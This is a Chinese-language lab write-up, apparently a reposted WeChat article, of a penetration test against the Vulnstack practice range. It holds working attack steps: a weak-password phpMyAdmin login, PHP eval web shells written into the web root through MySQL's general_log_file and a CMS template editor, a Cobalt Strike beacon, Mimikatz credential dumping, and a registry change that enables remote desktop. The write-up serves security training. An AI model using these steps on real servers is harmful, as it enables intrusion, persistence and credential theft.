实战 | 记一次基础的内网Vulnstack靶机渗透一https://mp.weixin.qq.com/s/A3MIuT7RXTIIPNLjF42OTg
kali一个nat网卡,模拟外网攻击机
win7一个nat网卡,一个VMnet 1网卡(仅主机模式),模拟web服务器
win2003一个VMnet 1网卡,模拟内网域成员主机
win2008一个VMnet 1网卡,模拟内网域控主机
拓朴图如下:
(win7为VM1,win2003为VM2,win2008为VM3)
设置完毕后VM1、VM2、VM3就在同一内网中了,只有VM1web服务器能够访问内网,所以要想访问win2008和win2003服务器必须要先拿下win7服务器,用它做跳板进内网进行横向渗透。
攻击机:
kali: 外网ip
靶机:
win7 外网ip 和 内网ip
win03 ip: 内网ip
win08 ip: 内网ip
因为内网ip都是配好的,我们只需要给win7加一块nat网卡即可,让win7充当web服务器,同时攻击机也要用nat网卡
最后,在win7上使用phpstudy开启web服务。
配置完毕。

后台目录爆破检测出来了phpmyadmin的目录,而且可以正常访问。这里我们试一下弱口令。
经过一系列尝试,弱口令是root root,成功登录到后台。
执行 select @@basedir 命令用来获取网站的路径. --> C:/phpStudy/WWW/
获取到网站的根路径之后,我们只需要写入木马即可。当然木马的存放路径一定要在WWW目录下。
select "<?php eval($_POST[cmd]);?>" into outfile 'C:/phpStudy/WWW/1.php';
但是我们发现写不进去,原因是要修改mysql的一个配置文件。
我们试着尝试下一种方法。尝试写入日志。
我们尝试mysql日志注入木马文件。
当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。
那么如果修改 general_log_file 的值,则所执行的 SQL 语句就会对应生成对应的文件中,进而可 Getshell。
show variables like '%general%'; --> 查看日志是否开启。
修改general_log的vuln值,故执行命令:SET GLOBAL general_log='on'
ok,修改成功。现在日志记录已经开启
SET GLOBAL general_log_file='C:/phpStudy/www/shell.php' --> 指定日志写入到网站的根目录的shell.php文件。
接下来执行 SQL 语句:SELECT '<?php eval($_POST["cmd"]);?>',使这句话被日志所记录,从而写入到shell.php 文件中:
接下来去访问shell.php文件即可。
发现在WWW目录下有备份压缩包,还有一个yxcms的文件,怀疑是服务。尝试访问。
注意一定要在网站后面加上/index.php?r=admin
像这种后台类的cms,不是日志写马就是某某模板编译写入一句话。
我们直接新建一个shell2.php文件,然后写入一句话木马。 --> <?php eval($_POST[abc]);?>
然后我们要去访问这个文件,但是不知道放在哪。我们去备份文件里寻找。
最后我们还是找到了。
ok,用whoami命令看一下,我们是管理员用户,不用提权了。但似乎也只是一个域用户。
至此外网打点结束,我们开始渗透内网!
至此我们拿到了外网主机的控制权限。
先开启一个监听,然后生成一个windows可执行木马,然后拖到蚁剑运行。cs那边就上线了。记得设置sleep值,设置为0,延迟为0,这样我们就可以肆无忌惮了。
我们知道了这台机器的外网IP为:192.168.16.142 内网IP为:192.168.53.143,所以说内网网段为:192.168.52.0/24
使用Mimikatz工具进行密码抓取,可以抓取到目标主机的用户名以及密码。这台win7主机就已经沦陷了,成为我们的跳板机。
拿到密码后,我们可以提权一下 hongrisec@2019
我们可以看到,我们的权限已经是system权限了。

果然,在这个域内除了域控主机OWA以外还有一台域成员主机(192.168.52.141)
到这里我们内网信息收集的差不多了,只有一个域(GOD) ,一台域控主机OWA(192.168.52.138),一个域成员主机ROOT-TVI862UBEH(192.168.52.141)。
需要通过win7为跳板机,横向渗透拿下域控主机和域成员主机。

提到的命令是用于修改注册表的,具体是为了启用Windows远程桌面连接功能。
该命令将在注册表路径HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server中使用REG ADD命令添加一个名为fDenyTSConnections的DWORD值,并将其值设置为00000000
